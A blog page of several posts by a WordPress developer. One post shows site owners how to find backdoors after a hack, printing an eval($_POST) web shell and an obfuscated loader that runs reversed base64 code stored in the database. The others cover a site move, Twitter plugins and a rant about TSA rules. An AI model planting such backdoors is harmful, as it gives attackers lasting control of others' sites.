Joseph Ducreux laughs at your nonsense.

For those of you who read this site for my WordPress knowledge, code, rants, or what have you, I’m writing this to point you in a new direction. I’ve started a new site just for that sort of thing: Otto on WordPress. Despite the name, I plan on putting other things there too, including code and other geekery.

Partially I’m doing it because I feel that I want to post more personal information type stuff here. More stuff about Memphis and what I’m up to and photo libraries and such, and my friends aren’t much into that sort of thing. Partially I’m doing it because I’d like to build more of a personal brand.

But, mostly I’m doing it because the ottopress.com domain name was available and I liked it.

I won’t be eliminating all geekery from this site, but it will be significantly toned down. Maybe. Dunno yet.

So, I’d suggest going over there if you like my technical rantings and ravings, since those won’t be here anymore. Also, this site may not be busy for a while. It’ll take a while to get into the swing of things, and I may start pulling more smaller microblog type posts in here. So if you want to switch your subscription around, now would be the time, while I make the changes.

For those people subscribing only to my WordPress tagged posts feed (I know there’s a few), I’ve redirected that feed now. You don’t have to switch, though you may want to. And if you suddenly got a bunch of repeat posts, that’s why. I moved a few of them over there when setting up.

So there you go.

BTW, if you’re not subscribing to my feeds, but prefer to use Facebook or Twitter, then I’ve separated some of that all out now too.

You can follow Otto on WordPress on Facebook here: http://www.facebook.com/apps/application.php?id=334947428931

You can follow this blog, Nothing to See Here, on Facebook here: http://www.facebook.com/apps/application.php?id=116002660893

And you can follow both of them on Twitter here: http://twitter.com/ottodestruct (Still working on this one, it’s not 100% reliable yet).

Edit: This post has moved to here: http://ottopress.com/2009/hacked-wordpress-backdoors/. Take your comments there.

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post.

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:

• A backdoor is code that has been added to your site.
• It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
• It will be disguised to seem innocuous, or at least non threatening.
• It will most likely involve additions to the database.

Let’s go over these individual points one at a time.

Added code

While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:

eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code

First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise

This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation

Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();

1. It retrieves a value from the WordPress database.
2. It pulls a specific section of that value out.
3. It creates a function to run that value as PHP code.
4. It runs that function.

Note how it cleverly avoids all the warning signs.

• Nowhere does it use “eval”.
• base64 is not visible at all.
• The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.

The actual value in the database looked like this:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
2. That code, which does not use any trigger words, loads a nondescript value from the options table.
3. It performs some string operations on that code, then executes it.
4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

Summary

This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

Just rigged up the blog to show whatever I’m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. So those weird blue things? Those are just my latest Twitter updates.

Thanks to Twitter Tools for making it work properly. Good WordPress plugin, still has a few odd points to it and some kinks to work out though. But it works well enough.

Feel free to respond more directly to anything I have to say on Twitter.

I was surfing around and ran across a blog written by people at the TSA.

Now, I think that the existence of open communication is a good idea. My problem is that the people actually doing the writing seem to either be really, really good at evasion, or they are complete and total idiots.

Take this post where somebody named “Kip” tries to explain the ban on liquids in aircraft. He goes on about the “3-1-1″ rule, which I had to look up since I no longer fly at all (primarily because of the amazingly obvious and self-evident stupidity of the TSA and its employees), but the gist of the 3-1-1 nonsense is that everybody is allowed 3 containers of 3 ounces each, in 1 clear plastic baggy, 1 per person. He goes on about this quite a bit, but he also completely fails to understand the fundamental problem, which is this: You’re trying to find threats, you’re not trying to set limitations.

If I bring shampoo onto a plane, and it really is shampoo, then how much of it I bring is really irrelevant. The idea is to find those people with actual explosives or other threatening devices, no? So making somebody put 3 oz. of fluid into a clear container is really rather pointless when you don’t actually verify WTF the fluid is in the first place. Confiscating some liquid that is not actually an explosive does not increase security in the slightest possible way. Removing things that are actually non-threats is not helpful. He misses that fundamental point throughout his “answer” to the question.

He goes on to say that the idea is to have a 10 oz. limit because real liquid bombs need about 20 oz. to do any damage. He even attempts (and fails) to address the obvious question here: What about two guys carrying the same stuff on and then mixing them on the plane? His answer is that mixing liquid explosives is difficult and tricky to do properly. Which, again, misses the fundamental point. If it’s tricky to do properly, then it would be tricky even if it was all carried on by one person. The difference between 1 guy carrying 20 oz of liquid and two guys carrying 10 oz. each is actually non-existent. And if they can premix the stuff, then they can pre-mix it, separate it into 3 ounce bottles, and bring one big empty bottle in their carry on. “Mixing” liquids on a plane might be tricky, but simply pouring already mixed liquids from one container to another is not.

He also ignores the fact that the plot which started this whole mess was not actually feasible to begin with. Notice his wording in the first question, he says there was a “serious plot”, not that they could have actually, you know, done anything.

It’s like Bruce says, the whole damn thing is nothing but security theater. The TSA’s blog is a good idea, if it was, you know, real and not staffed by the same shills who are attempting to force us to accept something which is fundamentally stupid. We’re not idiots. We know that the policies are stupid, because it’s really really obvious that they are. Trying to tell us that these rules are, in fact, not stupid simply isn’t going to work. I mean, I don’t expect them to admit their real agendas or anything, but all he attempts to do is to say that their policies make sense (they don’t), that they actually do protect anybody from anything (they don’t), and that a whole lot of other countries implemented them too (irrelevant to the actual question in the first place).

You can’t sell me nonsense by saying that you’re fresh out of sense.

Kip also tries to hide behind the “classified” label at one point, which is such complete bullshit. If actual terrorists know how to do this, then telling me how it could be done doesn’t make any difference. If terrorists don’t know how to do this, then what the fuck are you protecting us from?

Anyway, it’s worth a read to see how ignorant the TSA really is. Reading that blog only increases my determination to not fly at all until the paranoid idiots in charge get replaced by somebody with more sense. From the look of things, I may be waiting a while.

I signed up for twitter today, and installed a plugin for the blog that hooks into it. It’s kinda neat. The basic idea is that you can send “what you are doing right now” to it at any given moment, and the site posts it. Not complex, basically like a blog for one-liners. The WordPress plugin I installed lets you show the latest twitter messages you’ve sent to the service on the sidebar, or in a post, or what have you. Very nifty.

So if you look on the bottom right of this page, you’ll see the latest info on what I’m currently doing. The cool thing about it is that you can post what you’re doing to the site via email or IM or even text message. Quite entertaining, albeit somewhat useless, information. Still, fun for a while, and maybe I’ll figure out something useful to do with in the long run.